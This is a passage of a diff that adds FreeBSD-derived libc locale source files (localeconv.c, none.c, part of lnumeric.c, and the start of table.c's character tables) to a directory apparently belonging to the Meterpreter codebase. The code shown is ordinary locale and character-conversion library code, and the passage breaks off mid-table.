* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
* SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
#include <sys/cdefs.h>
|
||||
__FBSDID("$FreeBSD: head/lib/libc/locale/lnumeric.c 116875 2003-06-26 10:46:16Z phantom $");
|
||||
|
||||
#include <limits.h>
|
||||
|
||||
#include "ldpart.h"
|
||||
#include "lnumeric.h"
|
||||
|
||||
extern int __nlocale_changed;
|
||||
extern const char *__fix_locale_grouping_str(const char *);
|
||||
|
||||
#define LCNUMERIC_SIZE (sizeof(struct lc_numeric_T) / sizeof(char *))
|
||||
|
||||
static char numempty[] = { CHAR_MAX, '\0' };
|
||||
|
||||
static const struct lc_numeric_T _C_numeric_locale = {
|
||||
".", /* decimal_point */
|
||||
"", /* thousands_sep */
|
||||
numempty /* grouping */
|
||||
};
|
||||
|
||||
static struct lc_numeric_T _numeric_locale;
|
||||
static int _numeric_using_locale;
|
||||
static char *_numeric_locale_buf;
|
||||
|
||||
int
|
||||
__numeric_load_locale(const char *name)
|
||||
{
|
||||
int ret;
|
||||
|
||||
ret = __part_load_locale(name, &_numeric_using_locale,
|
||||
&_numeric_locale_buf, "LC_NUMERIC",
|
||||
LCNUMERIC_SIZE, LCNUMERIC_SIZE,
|
||||
(const char **)&_numeric_locale);
|
||||
if (ret != _LDP_ERROR)
|
||||
__nlocale_changed = 1;
|
||||
if (ret == _LDP_LOADED) {
|
||||
/* Can't be empty according to C99 */
|
||||
if (*_numeric_locale.decimal_point == '\0')
|
||||
_numeric_locale.decimal_point =
|
||||
_C_numeric_locale.decimal_point;
|
||||
_numeric_locale.grouping =
|
||||
__fix_locale_grouping_str(_numeric_locale.grouping);
|
||||
}
|
||||
return (ret);
|
||||
}
|
||||
|
||||
struct lc_numeric_T *
|
||||
__get_current_numeric_locale(void)
|
||||
{
|
||||
return (_numeric_using_locale
|
||||
? &_numeric_locale
|
||||
: (struct lc_numeric_T *)&_C_numeric_locale);
|
||||
}
|
||||
|
||||
#ifdef LOCALE_DEBUG
|
||||
void
|
||||
numericdebug(void) {
|
||||
printf( "decimal_point = %s\n"
|
||||
"thousands_sep = %s\n"
|
||||
"grouping = %s\n",
|
||||
_numeric_locale.decimal_point,
|
||||
_numeric_locale.thousands_sep,
|
||||
_numeric_locale.grouping
|
||||
);
|
||||
}
|
||||
#endif /* LOCALE_DEBUG */
|
112
c/meterpreter/source/ulibc/locale/localeconv.c
Normal file
112
c/meterpreter/source/ulibc/locale/localeconv.c
Normal file
@ -0,0 +1,112 @@
|
||||
/*
|
||||
* Copyright (c) 2001 Alexey Zelkin <phantom@FreeBSD.org>
|
||||
* Copyright (c) 1991, 1993
|
||||
* The Regents of the University of California. All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
* 3. All advertising materials mentioning features or use of this software
|
||||
* must display the following acknowledgement:
|
||||
* This product includes software developed by the University of
|
||||
* California, Berkeley and its contributors.
|
||||
* 4. Neither the name of the University nor the names of its contributors
|
||||
* may be used to endorse or promote products derived from this software
|
||||
* without specific prior written permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
|
||||
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||
* ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
|
||||
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
|
||||
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
||||
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
||||
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
* SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
#if defined(LIBC_SCCS) && !defined(lint)
|
||||
static char sccsid[] = "@(#)localeconv.c 8.1 (Berkeley) 6/4/93";
|
||||
#endif /* LIBC_SCCS and not lint */
|
||||
#include <sys/cdefs.h>
|
||||
__FBSDID("$FreeBSD: user/kmacy/releng_7_2_zfs/lib/libc/locale/localeconv.c 116875 2003-06-26 10:46:16Z phantom $");
|
||||
|
||||
#include <locale.h>
|
||||
|
||||
#include "lmonetary.h"
|
||||
#include "lnumeric.h"
|
||||
|
||||
/*
|
||||
* The localeconv() function constructs a struct lconv from the current
|
||||
* monetary and numeric locales.
|
||||
*
|
||||
* Because localeconv() may be called many times (especially by library
|
||||
* routines like printf() & strtod()), the approprate members of the
|
||||
* lconv structure are computed only when the monetary or numeric
|
||||
* locale has been changed.
|
||||
*/
|
||||
int __mlocale_changed = 1;
|
||||
int __nlocale_changed = 1;
|
||||
|
||||
/*
|
||||
* Return the current locale conversion.
|
||||
*/
|
||||
struct lconv *
|
||||
localeconv()
|
||||
{
|
||||
static struct lconv ret;
|
||||
|
||||
if (__mlocale_changed) {
|
||||
/* LC_MONETARY part */
|
||||
struct lc_monetary_T * mptr;
|
||||
|
||||
#define M_ASSIGN_STR(NAME) (ret.NAME = (char*)mptr->NAME)
|
||||
#define M_ASSIGN_CHAR(NAME) (ret.NAME = mptr->NAME[0])
|
||||
|
||||
mptr = __get_current_monetary_locale();
|
||||
M_ASSIGN_STR(int_curr_symbol);
|
||||
M_ASSIGN_STR(currency_symbol);
|
||||
M_ASSIGN_STR(mon_decimal_point);
|
||||
M_ASSIGN_STR(mon_thousands_sep);
|
||||
M_ASSIGN_STR(mon_grouping);
|
||||
M_ASSIGN_STR(positive_sign);
|
||||
M_ASSIGN_STR(negative_sign);
|
||||
M_ASSIGN_CHAR(int_frac_digits);
|
||||
M_ASSIGN_CHAR(frac_digits);
|
||||
M_ASSIGN_CHAR(p_cs_precedes);
|
||||
M_ASSIGN_CHAR(p_sep_by_space);
|
||||
M_ASSIGN_CHAR(n_cs_precedes);
|
||||
M_ASSIGN_CHAR(n_sep_by_space);
|
||||
M_ASSIGN_CHAR(p_sign_posn);
|
||||
M_ASSIGN_CHAR(n_sign_posn);
|
||||
M_ASSIGN_CHAR(int_p_cs_precedes);
|
||||
M_ASSIGN_CHAR(int_n_cs_precedes);
|
||||
M_ASSIGN_CHAR(int_p_sep_by_space);
|
||||
M_ASSIGN_CHAR(int_n_sep_by_space);
|
||||
M_ASSIGN_CHAR(int_p_sign_posn);
|
||||
M_ASSIGN_CHAR(int_n_sign_posn);
|
||||
__mlocale_changed = 0;
|
||||
}
|
||||
|
||||
if (__nlocale_changed) {
|
||||
/* LC_NUMERIC part */
|
||||
struct lc_numeric_T * nptr;
|
||||
|
||||
#define N_ASSIGN_STR(NAME) (ret.NAME = (char*)nptr->NAME)
|
||||
|
||||
nptr = __get_current_numeric_locale();
|
||||
N_ASSIGN_STR(decimal_point);
|
||||
N_ASSIGN_STR(thousands_sep);
|
||||
N_ASSIGN_STR(grouping);
|
||||
__nlocale_changed = 0;
|
||||
}
|
||||
|
||||
return (&ret);
|
||||
}
|
194
c/meterpreter/source/ulibc/locale/none.c
Normal file
194
c/meterpreter/source/ulibc/locale/none.c
Normal file
@ -0,0 +1,194 @@
|
||||
/*-
|
||||
* Copyright (c) 2002-2004 Tim J. Robbins. All rights reserved.
|
||||
* Copyright (c) 1993
|
||||
* The Regents of the University of California. All rights reserved.
|
||||
*
|
||||
* This code is derived from software contributed to Berkeley by
|
||||
* Paul Borman at Krystal Technologies.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
* 4. Neither the name of the University nor the names of its contributors
|
||||
* may be used to endorse or promote products derived from this software
|
||||
* without specific prior written permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
|
||||
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||
* ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
|
||||
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
|
||||
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
||||
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
||||
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
* SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
#if defined(LIBC_SCCS) && !defined(lint)
|
||||
static char sccsid[] = "@(#)none.c 8.1 (Berkeley) 6/4/93";
|
||||
#endif /* LIBC_SCCS and not lint */
|
||||
#include <sys/cdefs.h>
|
||||
__FBSDID("$FreeBSD: user/kmacy/releng_7_2_zfs/lib/libc/locale/none.c 172929 2007-10-24 14:32:33Z rafan $");
|
||||
|
||||
#include <errno.h>
|
||||
#include <limits.h>
|
||||
#include <runetype.h>
|
||||
#include <stddef.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <wchar.h>
|
||||
#include "mblocal.h"
|
||||
|
||||
static size_t _none_mbrtowc(wchar_t * __restrict, const char * __restrict,
|
||||
size_t, mbstate_t * __restrict);
|
||||
static int _none_mbsinit(const mbstate_t *);
|
||||
static size_t _none_mbsnrtowcs(wchar_t * __restrict dst,
|
||||
const char ** __restrict src, size_t nms, size_t len,
|
||||
mbstate_t * __restrict ps __unused);
|
||||
static size_t _none_wcrtomb(char * __restrict, wchar_t,
|
||||
mbstate_t * __restrict);
|
||||
static size_t _none_wcsnrtombs(char * __restrict, const wchar_t ** __restrict,
|
||||
size_t, size_t, mbstate_t * __restrict);
|
||||
|
||||
/* setup defaults */
|
||||
|
||||
int __mb_cur_max = 1;
|
||||
int __mb_sb_limit = 256; /* Expected to be <= _CACHED_RUNES */
|
||||
|
||||
int
|
||||
_none_init(_RuneLocale *rl)
|
||||
{
|
||||
|
||||
__mbrtowc = _none_mbrtowc;
|
||||
__mbsinit = _none_mbsinit;
|
||||
__mbsnrtowcs = _none_mbsnrtowcs;
|
||||
__wcrtomb = _none_wcrtomb;
|
||||
__wcsnrtombs = _none_wcsnrtombs;
|
||||
_CurrentRuneLocale = rl;
|
||||
__mb_cur_max = 1;
|
||||
__mb_sb_limit = 256;
|
||||
return(0);
|
||||
}
|
||||
|
||||
static int
|
||||
_none_mbsinit(const mbstate_t *ps __unused)
|
||||
{
|
||||
|
||||
/*
|
||||
* Encoding is not state dependent - we are always in the
|
||||
* initial state.
|
||||
*/
|
||||
return (1);
|
||||
}
|
||||
|
||||
static size_t
|
||||
_none_mbrtowc(wchar_t * __restrict pwc, const char * __restrict s, size_t n,
|
||||
mbstate_t * __restrict ps __unused)
|
||||
{
|
||||
|
||||
if (s == NULL)
|
||||
/* Reset to initial shift state (no-op) */
|
||||
return (0);
|
||||
if (n == 0)
|
||||
/* Incomplete multibyte sequence */
|
||||
return ((size_t)-2);
|
||||
if (pwc != NULL)
|
||||
*pwc = (unsigned char)*s;
|
||||
return (*s == '\0' ? 0 : 1);
|
||||
}
|
||||
|
||||
static size_t
|
||||
_none_wcrtomb(char * __restrict s, wchar_t wc,
|
||||
mbstate_t * __restrict ps __unused)
|
||||
{
|
||||
|
||||
if (s == NULL)
|
||||
/* Reset to initial shift state (no-op) */
|
||||
return (1);
|
||||
if (wc < 0 || wc > UCHAR_MAX) {
|
||||
errno = EILSEQ;
|
||||
return ((size_t)-1);
|
||||
}
|
||||
*s = (unsigned char)wc;
|
||||
return (1);
|
||||
}
|
||||
|
||||
static size_t
|
||||
_none_mbsnrtowcs(wchar_t * __restrict dst, const char ** __restrict src,
|
||||
size_t nms, size_t len, mbstate_t * __restrict ps __unused)
|
||||
{
|
||||
const char *s;
|
||||
size_t nchr;
|
||||
|
||||
if (dst == NULL) {
|
||||
s = memchr(*src, '\0', nms);
|
||||
return (s != NULL ? s - *src : nms);
|
||||
}
|
||||
|
||||
s = *src;
|
||||
nchr = 0;
|
||||
while (len-- > 0 && nms-- > 0) {
|
||||
if ((*dst++ = (unsigned char)*s++) == L'\0') {
|
||||
*src = NULL;
|
||||
return (nchr);
|
||||
}
|
||||
nchr++;
|
||||
}
|
||||
*src = s;
|
||||
return (nchr);
|
||||
}
|
||||
|
||||
static size_t
|
||||
_none_wcsnrtombs(char * __restrict dst, const wchar_t ** __restrict src,
|
||||
size_t nwc, size_t len, mbstate_t * __restrict ps __unused)
|
||||
{
|
||||
const wchar_t *s;
|
||||
size_t nchr;
|
||||
|
||||
if (dst == NULL) {
|
||||
for (s = *src; nwc > 0 && *s != L'\0'; s++, nwc--) {
|
||||
if (*s < 0 || *s > UCHAR_MAX) {
|
||||
errno = EILSEQ;
|
||||
return ((size_t)-1);
|
||||
}
|
||||
}
|
||||
return (s - *src);
|
||||
}
|
||||
|
||||
s = *src;
|
||||
nchr = 0;
|
||||
while (len-- > 0 && nwc-- > 0) {
|
||||
if (*s < 0 || *s > UCHAR_MAX) {
|
||||
errno = EILSEQ;
|
||||
return ((size_t)-1);
|
||||
}
|
||||
if ((*dst++ = *s++) == '\0') {
|
||||
*src = NULL;
|
||||
return (nchr);
|
||||
}
|
||||
nchr++;
|
||||
}
|
||||
*src = s;
|
||||
return (nchr);
|
||||
}
|
||||
|
||||
/* setup defaults */
|
||||
|
||||
size_t (*__mbrtowc)(wchar_t * __restrict, const char * __restrict, size_t,
|
||||
mbstate_t * __restrict) = _none_mbrtowc;
|
||||
int (*__mbsinit)(const mbstate_t *) = _none_mbsinit;
|
||||
size_t (*__mbsnrtowcs)(wchar_t * __restrict, const char ** __restrict,
|
||||
size_t, size_t, mbstate_t * __restrict) = _none_mbsnrtowcs;
|
||||
size_t (*__wcrtomb)(char * __restrict, wchar_t, mbstate_t * __restrict) =
|
||||
_none_wcrtomb;
|
||||
size_t (*__wcsnrtombs)(char * __restrict, const wchar_t ** __restrict,
|
||||
size_t, size_t, mbstate_t * __restrict) = _none_wcsnrtombs;
|
||||
|
249
c/meterpreter/source/ulibc/locale/table.c
Normal file
249
c/meterpreter/source/ulibc/locale/table.c
Normal file
@ -0,0 +1,249 @@
|
||||
/*-
|
||||
* Copyright (c) 1993
|
||||
* The Regents of the University of California. All rights reserved.
|
||||
*
|
||||
* This code is derived from software contributed to Berkeley by
|
||||
* Paul Borman at Krystal Technologies.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
* 4. Neither the name of the University nor the names of its contributors
|
||||
* may be used to endorse or promote products derived from this software
|
||||
* without specific prior written permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
|
||||
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||
* ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
|
||||
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
|
||||
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
||||
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
||||
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
* SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
#if defined(LIBC_SCCS) && !defined(lint)
|
||||
static char sccsid[] = "@(#)table.c 8.1 (Berkeley) 6/27/93";
|
||||
#endif /* LIBC_SCCS and not lint */
|
||||
#include <sys/cdefs.h>
|
||||
__FBSDID("$FreeBSD: user/kmacy/releng_7_2_zfs/lib/libc/locale/table.c 165903 2007-01-09 00:28:16Z imp $");
|
||||
|
||||
#include <ctype.h>
|
||||
#include <runetype.h>
|
||||
#include <wchar.h>
|
||||
#include "mblocal.h"
|
||||
|
||||
_RuneLocale _DefaultRuneLocale = {
|
||||
_RUNE_MAGIC_1,
|
||||
"NONE",
|
||||
NULL,
|
||||
NULL,
|
||||
0xFFFD,
|
||||
|
||||
{ /*00*/ _CTYPE_C,
|
||||
_CTYPE_C,
|
||||
_CTYPE_C,
|
||||
_CTYPE_C,
|
||||
_CTYPE_C,
|
||||
_CTYPE_C,
|
||||
_CTYPE_C,
|
||||
_CTYPE_C,
|
||||
/*08*/ _CTYPE_C,
|
||||
_CTYPE_C|_CTYPE_S|_CTYPE_B,
|
||||
_CTYPE_C|_CTYPE_S,
|
||||
_CTYPE_C|_CTYPE_S,
|
||||
_CTYPE_C|_CTYPE_S,
|
||||
_CTYPE_C|_CTYPE_S,
|
||||
_CTYPE_C,
|
||||
_CTYPE_C,
|
||||
/*10*/ _CTYPE_C,
|
||||
_CTYPE_C,
|
||||
_CTYPE_C,
|
||||
_CTYPE_C,
|
||||
_CTYPE_C,
|
||||
_CTYPE_C,
|
||||
_CTYPE_C,
|
||||
_CTYPE_C,
|
||||
/*18*/ _CTYPE_C,
|
||||
_CTYPE_C,
|
||||
_CTYPE_C,
|
||||
_CTYPE_C,
|
||||
_CTYPE_C,
|
||||
_CTYPE_C,
|
||||
_CTYPE_C,
|
||||
_CTYPE_C,
|
||||
/*20*/ _CTYPE_S|_CTYPE_B|_CTYPE_R,
|
||||
_CTYPE_P|_CTYPE_R|_CTYPE_G,
|
||||
_CTYPE_P|_CTYPE_R|_CTYPE_G,
|
||||
_CTYPE_P|_CTYPE_R|_CTYPE_G,
|
||||
_CTYPE_P|_CTYPE_R|_CTYPE_G,
|
||||
_CTYPE_P|_CTYPE_R|_CTYPE_G,
|
||||
_CTYPE_P|_CTYPE_R|_CTYPE_G,
|
||||
_CTYPE_P|_CTYPE_R|_CTYPE_G,
|
||||
/*28*/ _CTYPE_P|_CTYPE_R|_CTYPE_G,
|
||||
_CTYPE_P|_CTYPE_R|_CTYPE_G,
|
||||
_CTYPE_P|_CTYPE_R|_CTYPE_G,
|
||||
_CTYPE_P|_CTYPE_R|_CTYPE_G,
|
||||
_CTYPE_P|_CTYPE_R|_CTYPE_G,
|
||||
_CTYPE_P|_CTYPE_R|_CTYPE_G,
|
||||
_CTYPE_P|_CTYPE_R|_CTYPE_G,
|
||||
_CTYPE_P|_CTYPE_R|_CTYPE_G,
|
||||
/*30*/ _CTYPE_D|_CTYPE_R|_CTYPE_G|_CTYPE_X|0,
|
||||
_CTYPE_D|_CTYPE_R|_CTYPE_G|_CTYPE_X|1,
|
||||
_CTYPE_D|_CTYPE_R|_CTYPE_G|_CTYPE_X|2,
|
||||
_CTYPE_D|_CTYPE_R|_CTYPE_G|_CTYPE_X|3,
|
||||
_CTYPE_D|_CTYPE_R|_CTYPE_G|_CTYPE_X|4,
|
||||
_CTYPE_D|_CTYPE_R|_CTYPE_G|_CTYPE_X|5,
|
||||
_CTYPE_D|_CTYPE_R|_CTYPE_G|_CTYPE_X|6,
|
||||
_CTYPE_D|_CTYPE_R|_CTYPE_G|_CTYPE_X|7,
|
||||
/*38*/ _CTYPE_D|_CTYPE_R|_CTYPE_G|_CTYPE_X|8,
|
||||
_CTYPE_D|_CTYPE_R|_CTYPE_G|_CTYPE_X|9,
|
||||
_CTYPE_P|_CTYPE_R|_CTYPE_G,
|
||||
_CTYPE_P|_CTYPE_R|_CTYPE_G,
|
||||
_CTYPE_P|_CTYPE_R|_CTYPE_G,
|
||||
_CTYPE_P|_CTYPE_R|_CTYPE_G,
|
||||
_CTYPE_P|_CTYPE_R|_CTYPE_G,
|
||||
_CTYPE_P|_CTYPE_R|_CTYPE_G,
|
||||
/*40*/ _CTYPE_P|_CTYPE_R|_CTYPE_G,
|
||||
_CTYPE_U|_CTYPE_X|_CTYPE_R|_CTYPE_G|_CTYPE_A|10,
|
||||
_CTYPE_U|_CTYPE_X|_CTYPE_R|_CTYPE_G|_CTYPE_A|11,
|
||||
_CTYPE_U|_CTYPE_X|_CTYPE_R|_CTYPE_G|_CTYPE_A|12,
|
||||
_CTYPE_U|_CTYPE_X|_CTYPE_R|_CTYPE_G|_CTYPE_A|13,
|
||||
_CTYPE_U|_CTYPE_X|_CTYPE_R|_CTYPE_G|_CTYPE_A|14,
|
||||
_CTYPE_U|_CTYPE_X|_CTYPE_R|_CTYPE_G|_CTYPE_A|15,
|
||||
_CTYPE_U|_CTYPE_R|_CTYPE_G|_CTYPE_A,
|
||||
/*48*/ _CTYPE_U|_CTYPE_R|_CTYPE_G|_CTYPE_A,
|
||||
_CTYPE_U|_CTYPE_R|_CTYPE_G|_CTYPE_A,
|
||||
_CTYPE_U|_CTYPE_R|_CTYPE_G|_CTYPE_A,
|
||||
_CTYPE_U|_CTYPE_R|_CTYPE_G|_CTYPE_A,
|
||||
_CTYPE_U|_CTYPE_R|_CTYPE_G|_CTYPE_A,
|
||||
_CTYPE_U|_CTYPE_R|_CTYPE_G|_CTYPE_A,
|
||||
_CTYPE_U|_CTYPE_R|_CTYPE_G|_CTYPE_A,
|
||||
_CTYPE_U|_CTYPE_R|_CTYPE_G|_CTYPE_A,
|
||||
/*50*/ _CTYPE_U|_CTYPE_R|_CTYPE_G|_CTYPE_A,
|
||||
_CTYPE_U|_CTYPE_R|_CTYPE_G|_CTYPE_A,
|
||||
_CTYPE_U|_CTYPE_R|_CTYPE_G|_CTYPE_A,
|
||||
_CTYPE_U|_CTYPE_R|_CTYPE_G|_CTYPE_A,
|
||||
_CTYPE_U|_CTYPE_R|_CTYPE_G|_CTYPE_A,
|
||||
_CTYPE_U|_CTYPE_R|_CTYPE_G|_CTYPE_A,
|
||||
_CTYPE_U|_CTYPE_R|_CTYPE_G|_CTYPE_A,
|
||||
_CTYPE_U|_CTYPE_R|_CTYPE_G|_CTYPE_A,
|
||||
/*58*/ _CTYPE_U|_CTYPE_R|_CTYPE_G|_CTYPE_A,
|
||||
_CTYPE_U|_CTYPE_R|_CTYPE_G|_CTYPE_A,
|
||||
_CTYPE_U|_CTYPE_R|_CTYPE_G|_CTYPE_A,
|
||||
_CTYPE_P|_CTYPE_R|_CTYPE_G,
|
||||
_CTYPE_P|_CTYPE_R|_CTYPE_G,
|
||||
_CTYPE_P|_CTYPE_R|_CTYPE_G,
|
||||
_CTYPE_P|_CTYPE_R|_CTYPE_G,
|
||||
_CTYPE_P|_CTYPE_R|_CTYPE_G,
|
||||
/*60*/ _CTYPE_P|_CTYPE_R|_CTYPE_G,
|
||||
_CTYPE_L|_CTYPE_X|_CTYPE_R|_CTYPE_G|_CTYPE_A|10,
|
||||
_CTYPE_L|_CTYPE_X|_CTYPE_R|_CTYPE_G|_CTYPE_A|11,
|
||||
_CTYPE_L|_CTYPE_X|_CTYPE_R|_CTYPE_G|_CTYPE_A|12,
|
||||
_CTYPE_L|_CTYPE_X|_CTYPE_R|_CTYPE_G|_CTYPE_A|13,
|
||||
_CTYPE_L|_CTYPE_X|_CTYPE_R|_CTYPE_G|_CTYPE_A|14,
|
||||
_CTYPE_L|_CTYPE_X|_CTYPE_R|_CTYPE_G|_CTYPE_A|15,
|
||||
_CTYPE_L|_CTYPE_R|_CTYPE_G|_CTYPE_A,
|
||||
/*68*/ _CTYPE_L|_CTYPE_R|_CTYPE_G|_CTYPE_A,
|
||||
_CTYPE_L|_CTYPE_R|_CTYPE_G|_CTYPE_A,
|
||||
_CTYPE_L|_CTYPE_R|_CTYPE_G|_CTYPE_A,
|
||||
_CTYPE_L|_CTYPE_R|_CTYPE_G|_CTYPE_A,
|
||||
_CTYPE_L|_CTYPE_R|_CTYPE_G|_CTYPE_A,
|
||||
_CTYPE_L|_CTYPE_R|_CTYPE_G|_CTYPE_A,
|
||||
_CTYPE_L|_CTYPE_R|_CTYPE_G|_CTYPE_A,
|
||||
_CTYPE_L|_CTYPE_R|_CTYPE_G|_CTYPE_A,
|
||||
/*70*/ _CTYPE_L|_CTYPE_R|_CTYPE_G|_CTYPE_A,
|
||||
_CTYPE_L|_CTYPE_R|_CTYPE_G|_CTYPE_A,
|
||||
_CTYPE_L|_CTYPE_R|_CTYPE_G|_CTYPE_A,
|
||||
_CTYPE_L|_CTYPE_R|_CTYPE_G|_CTYPE_A,
|
||||
_CTYPE_L|_CTYPE_R|_CTYPE_G|_CTYPE_A,
|
||||
_CTYPE_L|_CTYPE_R|_CTYPE_G|_CTYPE_A,
|
||||
_CTYPE_L|_CTYPE_R|_CTYPE_G|_CTYPE_A,
|
||||
_CTYPE_L|_CTYPE_R|_CTYPE_G|_CTYPE_A,
|
||||
/*78*/ _CTYPE_L|_CTYPE_R|_CTYPE_G|_CTYPE_A,
|
||||
_CTYPE_L|_CTYPE_R|_CTYPE_G|_CTYPE_A,
|
||||
_CTYPE_L|_CTYPE_R|_CTYPE_G|_CTYPE_A,
|
||||
_CTYPE_P|_CTYPE_R|_CTYPE_G,
|
||||
_CTYPE_P|_CTYPE_R|_CTYPE_G,
|
||||
_CTYPE_P|_CTYPE_R|_CTYPE_G,
|
||||
_CTYPE_P|_CTYPE_R|_CTYPE_G,
|
||||
_CTYPE_C,
|
||||
},
|
||||
{ 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07,
|
||||
0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f,
|
||||
0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17,
|
||||
0x18, 0x19, 0x1a, 0x1b, 0x1c, 0x1d, 0x1e, 0x1f,
|
||||
0x20, 0x21, 0x22, 0x23, 0x24, 0x25, 0x26, 0x27,
|
||||
0x28, 0x29, 0x2a, 0x2b, 0x2c, 0x2d, 0x2e, 0x2f,
|
||||
0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37,
|
||||
0x38, 0x39, 0x3a, 0x3b, 0x3c, 0x3d, 0x3e, 0x3f,
|
||||
0x40, 'a', 'b', 'c', 'd', 'e', 'f', 'g',
|
||||
'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o',
|
||||
'p', 'q', 'r', 's', 't', 'u', 'v', 'w',
|
||||
'x', 'y', 'z', 0x5b, 0x5c, 0x5d, 0x5e, 0x5f,
|
||||
0x60, 'a', 'b', 'c', 'd', 'e', 'f', 'g',
|
||||
'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o',
|
||||
'p', 'q', 'r', 's', 't', 'u', 'v', 'w',
|
||||
'x', 'y', 'z', 0x7b, 0x7c, 0x7d, 0x7e, 0x7f,
|
||||
0x80, 0x81, 0x82, 0x83, 0x84, 0x85, 0x86, 0x87,
|
||||
0x88, 0x89, 0x8a, 0x8b, 0x8c, 0x8d, 0x8e, 0x8f,
|
||||
0x90, 0x91, 0x92, 0x93, 0x94, 0x95, 0x96, 0x97,
|
||||
0x98, 0x99, 0x9a, 0x9b, 0x9c, 0x9d, 0x9e, 0x9f,
|
||||
0xa0, 0xa1, 0xa2, 0xa3, 0xa4, 0xa5, 0xa6, 0xa7,
|
||||
0xa8, 0xa9, 0xaa, 0xab, 0xac, 0xad, 0xae, 0xaf,
|
||||
0xb0, 0xb1, 0xb2, 0xb3, 0xb4, 0xb5, 0xb6, 0xb7,
|
||||
0xb8, 0xb9, 0xba, 0xbb, 0xbc, 0xbd, 0xbe, 0xbf,
|
||||
0xc0, 0xc1, 0xc2, 0xc3, 0xc4, 0xc5, 0xc6, 0xc7,
|
||||
0xc8, 0xc9, 0xca, 0xcb, 0xcc, 0xcd, 0xce, 0xcf,
|
||||
0xd0, 0xd1, 0xd2, 0xd3, 0xd4, 0xd5, 0xd6, 0xd7,
|
||||
